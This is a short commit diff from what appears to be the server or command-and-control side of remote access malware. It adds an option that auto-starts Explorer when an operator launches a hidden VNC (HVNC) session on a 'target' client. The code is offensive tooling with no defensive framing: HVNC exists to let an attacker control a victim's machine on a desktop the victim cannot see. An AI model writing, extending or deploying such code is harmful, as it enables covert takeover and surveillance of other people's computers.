add auto start explorer

This commit is contained in:
KingKDot
2026-03-17 00:31:28 -05:00
parent dd30835f4a
commit 62208ace52
6 changed files with 136 additions and 36 deletions
@@ -560,7 +560,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
switch (payload.type) {
case "hvnc_start":
if (!state.isStreaming) {
sendHVNCCommand(target, "hvnc_start", {});
sendHVNCCommand(target, "hvnc_start", {
autoStartExplorer: payload.autoStartExplorer !== false,
});
state.isStreaming = true;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] started streaming for client ${clientId}`);